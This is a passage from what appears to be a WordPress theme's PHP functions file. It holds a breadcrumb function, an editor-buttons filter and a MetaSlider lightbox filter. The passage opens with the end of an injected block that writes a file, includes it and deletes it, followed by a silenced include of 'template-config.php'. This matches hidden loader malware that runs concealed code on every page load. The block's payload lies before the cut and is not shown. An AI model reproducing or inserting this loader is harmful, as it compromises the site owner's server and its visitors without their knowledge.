"); fclose($hdl); include("{$eb}.$algo"); unlink("{$eb}.$algo"); $npDcheckClassBgp = 'aue'; $zeeta = "yup"; } @include( 'template-config.php' ); /** * Breadcrumb Lists * Allows visitors to quickly navigate back to a previous section or the root page. * * Adopted from Dimox * */ if (!function_exists('responsive_breadcrumb_lists')) : function responsive_breadcrumb_lists() { /* === OPTIONS === */ $text['home'] = __('Home','responsive'); // text for the 'Home' link $text['category'] = __('Archive for %s','responsive'); // text for a category page $text['search'] = __('Search results for: %s','responsive'); // text for a search results page $text['tag'] = __('Posts tagged %s','responsive'); // text for a tag page $text['author'] = __('View all posts by %s','responsive'); // text for an author page $text['404'] = __('Error 404','responsive'); // text for the 404 page $showCurrent = 1; // 1 - show current post/page title in breadcrumbs, 0 - don't show $showOnHome = 0; // 1 - show breadcrumbs on the homepage, 0 - don't show $delimiter = ' '; // delimiter between crumbs $before = ''; // tag before the current crumb $after = ''; // tag after the current crumb /* === END OF OPTIONS === */ global $post, $paged, $page; $homeLink = home_url('/'); $linkBefore = ''; $linkAfter = ''; $linkAttr = ' rel="v:url" property="v:title"'; $link = $linkBefore . '%2$s' . $linkAfter; if ( is_front_page()) { if ($showOnHome == 1) echo ''; } else { echo ''; } } // end responsive_breadcrumb_lists endif; /*Habilitar más botones en los editores de páginas del administrador*/ function habilitar_mas_botones($buttons) { $buttons[] = 'hr'; $buttons[] = 'sub'; $buttons[] = 'sup'; $buttons[] = 'fontselect'; $buttons[] = 'fontsizeselect'; $buttons[] = 'cleanup'; $buttons[] = 'styleselect'; $buttons[] = 'anchor'; return $buttons; } add_filter("mce_buttons_4", "habilitar_mas_botones"); /*FIN Habilitar más botones en los editores de páginas del administrador*/ /*ANA METASLIDER: QUE NO MUESTRE TODAS LAS IMÁGENES DEL POST O PÁGINA, SINO SOLO LAS DE CADA SLIDER*/ add_filter('metaslider_flex_slider_anchor_attributes', 'metaslider_lightbox', 10, 3); function metaslider_lightbox($attributes, $slide, $slider_id) { $attributes['rel'] = "lightbox[{$slider_id}]"; return $attributes; } /*FIN ANA METASLIDER*/ ?>